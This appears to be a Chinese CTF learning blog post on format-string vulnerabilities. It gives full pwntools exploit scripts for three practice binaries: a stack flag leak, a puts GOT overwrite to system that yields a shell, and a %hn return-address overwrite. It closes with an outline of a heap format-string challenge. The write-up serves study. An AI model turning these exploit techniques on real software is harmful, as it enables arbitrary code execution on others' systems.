在攻防世界刷题 发现知识点不够用 还是基础打得不够牢固 看出来哪里有漏洞 但是不会利用
想在wiki上打一下基础
先在 格式化字符串开始
第一题
这个题目还是比较一目了然的 看一下ida
然后 发现一个 格式化漏洞 而且 读取的 文件字符在栈里面 可以通过 偏移直接读出来 文件字符内容
然后我们去看一下 红色 是我们 输入的字符 绿色 是读取的内容 然后 偏差是 10
这里偏差计算可以参考Wiki (不要误解为是从 输入到 flag的地址)
#coding:utf-8
from pwn import *
context.log_level = 'debug'
io = process('./goodluck')
elf=ELF("./goodluck")
if __name__ =="__main__":
io.recvuntil("what's the flag")
io.sendline("%9$s")
print io.recv()
io.interactive()
第二题
这个 题 挺好玩的 这个题的漏洞点
就是这里的 printf 这里的printf 参数自己写 并且 长度很大 那么 我们就可以操作这个题目了
可以通过这个printf 泄露 puts 的地址 然后 泄露出 system 的地址
然后直接利用 fmtstr_payload 直接修改就好了
修改成 system 然后再puts的时候 参数 也就是文件名是 /bin/sh
就可以得到拿shell 的结果
#coding:utf-8
from pwn import *
context.log_level = 'debug'
io=process("./pwn3")
elf=ELF("./pwn3")
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
put_got=elf.got['puts']
login_name="rxraclhm"
def put(filename,filecontent):
io.sendline("put")
io.recvuntil("please enter the name of the file you want to upload:")
io.sendline(filename)
io.recvuntil("then, enter the content:")
io.sendline(filecontent)
def show():
io.sendline('dir')
def get(filename):
io.sendline("get")
io.recvuntil("enter the file name you want to get:")
io.sendline(filename)
data = io.recv()
return data
if __name__ =="__main__":
io.recvuntil("Name (ftp.hacker.server:Rainism):")
io.sendline(login_name)
io.recv()
put('1','%8$s'+p32(put_got))
put_addr=u32(get('1')[:4])
log.success('puts got : ' + hex(put_addr))
libc_base_addr=put_addr-libc.sym['puts']
system_addr=libc_base_addr+libc.sym['system']
log.success('system addr : ' + hex(system_addr))
payload = fmtstr_payload(7, {put_got: system_addr})
put('/bin/sh;',payload)
get('/bin/sh;')
show()
io.interactive()
io.close()
然后 按照wiki上的脚本 需要一个 libc文件 需要下载
然后拖入文件夹就好
#coding:utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io=process("./pwn3")
elf=ELF("./pwn3")
#lib=ELF("/lib/i386-linux-gnu/libc-2.23.so")
put_got=elf.got['puts']
login_name="rxraclhm"
def put(filename,filecontent):
io.sendline("put")
io.recvuntil("please enter the name of the file you want to upload:")
io.sendline(filename)
io.recvuntil("then, enter the content:")
io.sendline(filecontent)
def show():
io.sendline('dir')
def get(filename):
io.sendline("get")
io.recvuntil("enter the file name you want to get:")
io.sendline(filename)
data = io.recv()
return data
if __name__ =="__main__":
io.recvuntil("Name (ftp.hacker.server:Rainism):")
io.sendline(login_name)
io.recv()
put('1','%8$s'+p32(put_got))
put_addr=u32(get('1')[:4])
log.success('puts got : ' + hex(put_addr))
libc = LibcSearcher("puts", put_addr)
libc_base_addr=put_addr-libc.dump('puts')
system_addr=libc_base_addr+libc.dump('system')
log.success('system addr : ' + hex(system_addr))
payload = fmtstr_payload(7, {put_got: system_addr})
put('/bin/sh;',payload)
get('/bin/sh;')
show()
io.interactive()
io.close()
第三题 就设计到了 利用格式化 利用的 写入部分
首先 有一个后门函数
然后 去寻找溢出点
发现了这里 是个溢出点
ebp 相对 栈本身地址 偏移不会变化
然后 第二个 会发现 400d74 是返回地址 如果修改了返回地址 到后门函数就可以pwn到这个东西
然后。。。。 就陷入了自闭 两个漏洞还好 主要是怎么修改 这个好好百度了一波
我们可以利用 $hn 一开始只知道 $n 然后 然后可以直接 写入了
2214 是0x8A6的 10进制
from pwn import *
#context.log_level="debug"
context.arch="amd64"
io=process("./pwnme_k0")
elf=ELF("pwnme_k0")
#gdb.attach(io)
if __name__ =="__main__":
io.recv()
io.sendline("1")
io.recv()
io.sendline('%6$p')
io.recv()
io.sendline("1")
io.recvuntil('0x')
ret_addr=int(io.recvline(),16)-0x38
success("ret_addr:"+hex(ret_addr))
io.recv()
io.sendline("2")
io.recv()
io.sendline(p64(ret_addr))
io.recv()
io.sendline("%2214x%8$hn")
io.recv()
io.sendline("1")
io.recv()
io.interactive()
下面就是关于 堆里面的格式化漏洞了 这一点算是我的知识盲区 不太了解这个玩意 正好借助 wiki来学习一下
那个题目 2015 年 CSAW 中的 contacts
这个题目大概思路讲一下,,,
这个题目溢出点就是这个地方
然后看一下 这里的情况
这里有了 libc_start_main 可以根据他 来求出system
然后上面一张图 有了 ebp 还有了 我们堆块的地址
那么 我们可以 把堆块的地址 修改成 system 然后 给ebp
这就和栈转移的道理一样 ebp ->esp
然后 pop ebp ret (system) 就一把梭
然后这个脚本还不一定百分百 运行成功。。。。
这里就不粘代码了 (感觉我思路分析的还挺清晰的 23333)